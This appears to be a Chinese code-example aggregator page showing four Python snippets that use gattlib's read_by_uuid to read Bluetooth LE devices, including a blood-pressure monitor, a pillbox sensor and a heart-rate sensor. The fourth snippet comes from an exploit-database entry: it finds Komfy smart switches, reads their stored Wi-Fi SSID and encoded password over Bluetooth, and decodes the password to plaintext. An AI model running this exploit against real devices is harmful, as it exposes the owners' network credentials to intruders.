當前位置: 首頁>>代碼示例>>Python>>正文


Python GATTRequester.read_by_uuid方法代碼示例

本文整理匯總了Python中gattlib.GATTRequester.read_by_uuid方法的典型用法代碼示例。如果您正苦於以下問題:Python GATTRequester.read_by_uuid方法的具體用法?Python GATTRequester.read_by_uuid怎麽用?Python GATTRequester.read_by_uuid使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在gattlib.GATTRequester的用法示例。


在下文中一共展示了GATTRequester.read_by_uuid方法的4個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: OnBPButtonClick

# 需要導入模塊: from gattlib import GATTRequester [as 別名]
# 或者: from gattlib.GATTRequester import read_by_uuid [as 別名]
    def OnBPButtonClick(self):
	
	   f = open("bp.csv", 'wt')
	   writer = csv.writer(f)
	   writer.writerow( ('sys', 'dia','pulse') )
	   req = GATTRequester("98:4F:EE:0F:59:D6")
	   req.write_by_handle(0x000e,str(bytearray([02])))
	   tt = req.read_by_handle(0x0010)[0]
	   pp = []
	   for c in tt:
		  pp.append(ord(c))
	   print pp
	   if(pp[1] == 2):
		
		while(1):
			try:
				tt = req.read_by_handle(0x0010)[0]
				pp = []
				for c in tt:
					pp.append(ord(c))
				if(pp[0] == 3):
					break
			except Exception,e:
				print e
		
		try:
			name = req.read_by_uuid("2A40")[0]
			#steps = (req.read_by_handle(0x0009)[0])
			print type(name)
		
			value = []
			for c in name:
				value.append((c))
			print value
			print "sys :"+value[1]+value[2]+value[3]+"\n"
			print "dia :"+value[6]+value[7]+value[8]+"\n"
			print "sys :"+value[11]+value[12]+value[13]+"\n"
			writer.writerow((value[1]+value[2]+value[3],value[6]+value[7]+value[8],value[11]+value[12]+value[13]))
		
				
		except Exception,e:
			#name = False
			print e
開發者ID:ioarun,項目名稱:cognitivehealthcare,代碼行數:45,代碼來源:gateway_publisher.py

示例2: DiscoveryService

# 需要導入模塊: from gattlib import GATTRequester [as 別名]
# 或者: from gattlib.GATTRequester import read_by_uuid [as 別名]
    return r.text

service = DiscoveryService()
devices = service.discover(2)

for addr, name in devices.items():
	print("%s (%s)" % (name,addr))
	print(name)
	if(name=="RapidPrototype"):
		req=GATTRequester(addr,False)
		req.connect(True)
		status="connected" if req.is_connected() else "not connectd"
		print(status)
		prevData="00"
		while(True):
			data=req.read_by_uuid("A495FF21-C5B1-4B44-B512-1370F02D74DE")
			data=str(data)
			data=data[4:6]
			if(data=="00" and prevData=="01"):
				print("Box is open")
				val = {
                                        "sensor_id": "pillbox",
                                        "value": 0
                                }
				post(host, val)
			if(data=="01" and prevData=="00"):
				print("Box is closed")
				val = {
                                        "sensor_id": "pillbox",
                                        "value": 1
                                }
開發者ID:PseudoSky,項目名稱:rpcs-sensors,代碼行數:33,代碼來源:blex.py

示例3: DiscoveryService

# 需要導入模塊: from gattlib import GATTRequester [as 別名]
# 或者: from gattlib.GATTRequester import read_by_uuid [as 別名]
from gattlib import GATTRequester
import time

from gattlib import DiscoveryService

service = DiscoveryService("hci0")
devices = service.discover(2)

print "Nearby devices :",devices.items()

req = GATTRequester("Bluetooth MAC Adress of Peripheral")
while 1:
	name = req.read_by_uuid("2a37")[0]
	value = []
	for c in name:
		value.append(ord(c))
	if(name):
		print "Sensor value : ",value[1]

	else:
		print "*************************************"
		#time.sleep(1)
開發者ID:ioarun,項目名稱:cognitivehealthcare,代碼行數:24,代碼來源:ble_read_example.py

示例4: GATTRequester

# 需要導入模塊: from gattlib import GATTRequester [as 別名]
# 或者: from gattlib.GATTRequester import read_by_uuid [as 別名]
devices = scanner.scan(5.0)
bAddr = ""
for dev in devices:
    if "6c:72:20" in dev.addr and dev.getValueText(1) and dev.getValueText(7) and dev.getValueText(9):
        bAddr = dev.addr
        print "[+] Komfy switch found: %s (%s), RSSI=%d dB" % (dev.addr, dev.addrType, dev.rssi)
if not bAddr:
    print "No Komfy switches found"
    sys.exit(1)

req = GATTRequester(bAddr.encode("ascii", "ignore"), False, "hci0")
req.connect(True, "public", "none", 0, 78)

# request SSID
wifiSsid = req.read_by_uuid("0xb006")[0]
reg = re.search(r"(:\s\"(.*)\")", wifiSsid)
wifiSsid = reg.groups()[1].replace("\\", "")

# request komfy encoded wifi password
wifiPassKomfy64 = req.read_by_uuid("0xb007")[0]
reg = re.search(r"(:\s\"(.*)\")", wifiPassKomfy64)
wifiPassKomfy64 = reg.groups()[1].replace("\\", "")

# convert password to real base64
wifiPassBase64 = ""
for char in wifiPassKomfy64:
    i = komfy64Alphabet.index(char)
    wifiPassBase64 += base64Alphabet[i]

wifiPass = base64.b64decode(wifiPassBase64)
開發者ID:MeteorAdminz,項目名稱:exploit-database,代碼行數:32,代碼來源:40633.py


注:本文中的gattlib.GATTRequester.read_by_uuid方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。